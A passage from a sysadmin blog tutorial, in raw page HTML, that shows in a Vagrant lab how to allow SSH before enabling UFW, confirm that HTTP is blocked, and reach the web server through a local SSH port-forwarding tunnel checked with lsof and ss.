xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>I allowed SSH before enabling the firewall. The reason is simple: when UFW is enabled, any traffic that doesn&#8217;t match an allow rule is blocked by an <strong>implicit deny</strong> at the bottom of the rule list. If we enabled the firewall first without allowing SSH, we would lock ourselves out. By allowing SSH beforehand, we make sure we can still access the machine.</p><p>Let&#8217;s confirm that the firewall is active:</p><pre><code><code>$ sudo ufw status</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pqwy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pqwy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 424w, https://substackcdn.com/image/fetch/$s_!pqwy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 848w, https://substackcdn.com/image/fetch/$s_!pqwy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 1272w, https://substackcdn.com/image/fetch/$s_!pqwy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pqwy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png" width="907" height="276" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:276,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:34250,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pqwy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 424w, https://substackcdn.com/image/fetch/$s_!pqwy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 848w, https://substackcdn.com/image/fetch/$s_!pqwy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 1272w, https://substackcdn.com/image/fetch/$s_!pqwy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7550d1-fab0-4832-9aee-acde438de3cc_907x276.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Our firewall is now running. If we try accessing the webserver over HTTP again from the client, it should fail:</p><pre><code><code>$ curl --max-time 5 http://webserver</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VpPn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VpPn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 424w, https://substackcdn.com/image/fetch/$s_!VpPn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 848w, https://substackcdn.com/image/fetch/$s_!VpPn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 1272w, https://substackcdn.com/image/fetch/$s_!VpPn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VpPn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png" width="907" height="153" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:153,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26277,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VpPn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 424w, https://substackcdn.com/image/fetch/$s_!VpPn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 848w, https://substackcdn.com/image/fetch/$s_!VpPn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 1272w, https://substackcdn.com/image/fetch/$s_!VpPn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e78a8fd-fb76-438a-8c23-49cfc19384cc_907x153.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>As expected, the connection times out because the firewall is blocking HTTP traffic.</p><blockquote><p><strong>NOTE:</strong> </p><p>I added the <code>--max-time 5</code> option to the curl command to prevent it from hanging indefinitely while waiting for a response. This is useful here because we know the connection will fail due to the firewall rule.</p></blockquote><div><hr></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">sysxplore is an indie, reader-supported publication.I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible. To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><h2><strong>Creating the Local SSH Tunnel</strong></h2><p>Since we still need to reach the webserver, let&#8217;s set up a <strong>local SSH tunnel</strong>. This will forward a local port on the client machine directly to the webserver&#8217;s HTTP port through the existing SSH connection.</p><p>Now let&#8217;s set up the client, but before we run the command, here&#8217;s the <strong>syntax for local port forwarding</strong>:</p><pre><code><code>$ ssh -L &lt;local_host&gt;:&lt;local_port&gt;:&lt;remote_host&gt;:&lt;remote_port&gt; user@remote_ssh_server</code></code></pre><p>We&#8217;ll break this down properly in a moment. For now, let&#8217;s run the actual command on the client to create the tunnel:</p><pre><code><code>$ ssh -N -L localhost:8080:localhost:80 vagrant@webserver</code></code></pre><p>This is a good time to explain what each part means:</p><ul><li><p><strong>-L</strong> tells SSH that we&#8217;re setting up local port forwarding.</p></li><li><p><strong><a href="http://localhost:8080">localhost:8080</a></strong> means we want to open port 8080 on our local machine (the client).</p></li><li><p><strong><a href="http://localhost:80">localhost:80</a></strong> means that any traffic sent to <a href="http://localhost:8080">localhost:8080</a> on the client should be forwarded to <a href="http://localhost">localhost</a> on port 80 on the webserver from the webserver&#8217;s perspective.</p></li><li><p><strong>vagrant@webserver</strong> is simply the SSH server we&#8217;re creating the tunnel to, which in this case is the webserver itself.</p></li></ul><p>You also probably noticed the <strong>-N</strong> option:</p><ul><li><p><strong>-N</strong> tells SSH not to execute any remote commands. We only want the tunnel, not a remote shell.</p></li></ul><p>If we removed -N, SSH would log us into a shell session after establishing the tunnel, which isn&#8217;t what we want here. We only need the tunnel.</p><p>Once the tunnel is established, SSH appears to &#8220;hang&#8221;, but that&#8217;s normal. It&#8217;s not stuck; it&#8217;s simply waiting for traffic to arrive on port 8080. </p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sEqU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sEqU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 424w, https://substackcdn.com/image/fetch/$s_!sEqU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 848w, https://substackcdn.com/image/fetch/$s_!sEqU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 1272w, https://substackcdn.com/image/fetch/$s_!sEqU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sEqU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png" width="907" height="153" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:153,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22803,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sEqU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 424w, https://substackcdn.com/image/fetch/$s_!sEqU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 848w, https://substackcdn.com/image/fetch/$s_!sEqU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 1272w, https://substackcdn.com/image/fetch/$s_!sEqU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ebe372b-236f-48f8-9899-29a373cc28d6_907x153.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>So we switch to a new terminal window to test it.</p><h2><strong>Verifying the Tunnel</strong></h2><p>In the new terminal window, let&#8217;s confirm that SSH is listening on port 8080 on the client:</p><pre><code><code>$ vagrant ssh client
$ lsof -i :8080</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IFfp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IFfp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 424w, https://substackcdn.com/image/fetch/$s_!IFfp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 848w, https://substackcdn.com/image/fetch/$s_!IFfp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 1272w, https://substackcdn.com/image/fetch/$s_!IFfp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IFfp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png" width="907" height="233" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:233,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:38600,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IFfp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 424w, https://substackcdn.com/image/fetch/$s_!IFfp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 848w, https://substackcdn.com/image/fetch/$s_!IFfp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 1272w, https://substackcdn.com/image/fetch/$s_!IFfp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b04ffca-aa68-4150-bd9e-023c2a4207ec_907x233.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You can see that the SSH process is listening on both IPv4 and IPv6 localhost on port 8080 (http-alt). We can also confirm that the SSH connection to the webserver is active:</p><pre><code><code>$ sudo ss -tnp | grep sshd</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_Jfi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_Jfi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 424w, https://substackcdn.com/image/fetch/$s_!_Jfi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 848w, https://substackcdn.com/image/fetch/$s_!_Jfi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 1272w, https://substackcdn.com/image/fetch/$s_!_Jfi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_Jfi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png" width="907" height="233" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:233,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:40696,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_Jfi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 424w, https://substackcdn.com/image/fetch/$s_!_Jfi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 848w, https://substackcdn.com/image/fetch/$s_!_Jfi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 1272w, https://substackcdn.com/image/fetch/$s_!_Jfi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00cd3a4b-2a42-41a5-b6b7-b69b0a6c7e5f_907x233.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The first line shows the important part, our client (192.168.60.10) is connected to the webserver (192.168.60.11) over SSH. This confirms that the tunnel is <strong>active and ready</strong>.</p><p>Now, let&#8217;s try to access the webserver through the tunnel by sending a request to localhost:8080 on the client:</p><pre><code><code>$ curl localhost:8080</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!50eQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!50eQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 424w, https://substackcdn.com/image/fetch/$s_!50eQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 848w, https://substackcdn.com/image/fetch/$s_!50eQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 1272w, https://substackcdn.com/image/fetch/$s_!50eQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!50eQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png" width="907" height="320" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:320,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:40457,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!50eQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 424w, https://substackcdn.com/image/fetch/$s_!50eQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 848w, https://substackcdn.com/image/fetch/$s_!50eQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 1272w, https://substackcdn.com/image/fetch/$s_!50eQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18b255e-60b2-4e4a-8559-92dea3cb3a34_907x320.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" 